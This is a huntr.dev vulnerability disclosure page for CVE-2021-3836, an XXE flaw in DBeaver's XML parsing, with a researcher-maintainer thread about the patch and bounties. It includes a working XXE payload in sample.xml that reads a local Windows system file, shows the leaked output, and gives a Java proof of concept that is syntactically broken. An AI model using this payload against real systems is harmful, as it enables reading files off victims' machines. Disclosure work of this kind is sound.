

Improper Restriction of XML External Entity Reference in dbeaver/dbeaver

 Valid Reported on Sep 29th 2021

Description

The `dbeaver` is vulnerable to XML External Entity (XXE). An attacker that is able to provide a crafted XML file as input to the `parseDocument()` function in the "XMLUtils.java" file may allow an attacker to execute XML External Entities (XXE), including exposing the contents of local files to a remote server.

Proof of Concept

```
package xxe_poc;
import java.io.File;
import org.jkiss.utils.xml.XMLException;
import org.jkiss.utils.xml.XMLUtils;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;

public class Poc {

    public static void main(String[] args) {
        File file = new File("C:\\Users\\[user]\\eclipse-workspace\\xxe_poc\\Document.doc");
        try {
            doc = XMLUtils.parseDocument(file);
            doc.getDocumentElement().normalize();
            NodeList nodeList = doc.getElementsByTagName("userInfo");
            for (int itr = 0; itr < nodeList.getLength(); itr++) {
                Node node = nodeList.item(itr);
                System.out.println("\nNode Name : " + node.getNodeName());
                if (node.getNodeType() == Node.ELEMENT_NODE) {
                    Element eElement = (Element) node;
                    System.out.println(
                        "Last Name: " + eElement.getElementsByTagName("
                    )
                )
            }
        } catch (XMLException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}
```

sample.xml

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///c:/windows/win.ini"> ]>
<userInfo>
  <firstName>John</firstName>
  <lastName>&ent;</lastName>
</userInfo>
```

Check the Output:

```
Node Name :userInfo
Last Name: ; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
```

CVE
CVE-2021-3836
(Published)

Vulnerability Type
CWE-611: Improper Restriction of XML External Entity Reference

Severity
Critical (9.8)

Affected Version
*

Visibility
Public

Status
Fixed

Found by



Srikanth Prathi
@srikanthprathi
unranked

Fixed by



Srikanth Prathi
@srikanthprathi
unranked

This report was seen 748 times.

We created a [GitHub Issue](#) asking the maintainers to create a SECURITY.md a year ago

Srikanth Prathi a year ago

Researcher

@maintainer Please find the patch at <https://github.com/srikanthprathi/dbeaver/pull/1>

Srikanth Prathi modified the report a year ago

Srikanth Prathi modified the report a year ago

We have contacted a member of the **dbeaver** team and are waiting to hear back a year ago

Srikanth Prathi submitted a patch a year ago

Srikanth Prathi a year ago

Researcher

@zidingz The vulnerability got fixed and got merged into the devel branch in the commit <https://github.com/dbeaver/dbeaver/commit/82cc6d4a8d306bc227342124238e5646b414b1058diff-6d65066e45a7ded5e705210f51a08551bac55ef424e6fda3e54d053628f78084>

Can you please let me know the next step to validate this vulnerability?

Z-Old a year ago

Admin

Hey Srikanth, thanks for asking.

My advice is to contact the maintainer saying that if he is happy with your contribution, validating the report on huntr would reward you for your efforts. We're happy to support if the maintainer needs help accessing the platform; best place to reach us is on Discord.

Srikanth Prathi a year ago

Researcher

Thanks, @Ziding. I have contacted them through their mail: tech-support@dbeaver.com regarding the same.

A **dbeaver/dbeaver** maintainer validated this vulnerability a year ago

Srikanth Prathi has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Srikanth Prathi a year ago

Researcher


@dbeaver/dbeaver Thank you very much for validating the reported vulnerability. Can you please accept the patch submitted and been committed?

Thanks again in advance.

Srikanth Prathi submitted a patch a year ago

A `dbeaver/dbeaver` maintainer marked this as fixed in `21.2.3` with commit `4debf8` a year ago

Srikanth Prathi has been awarded the fix bounty 

This vulnerability will not receive a CVE 

Jamie Slome a year ago

[Admin](#)

CVE published! 

Sign in to join this conversation

2022 © 418sec

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team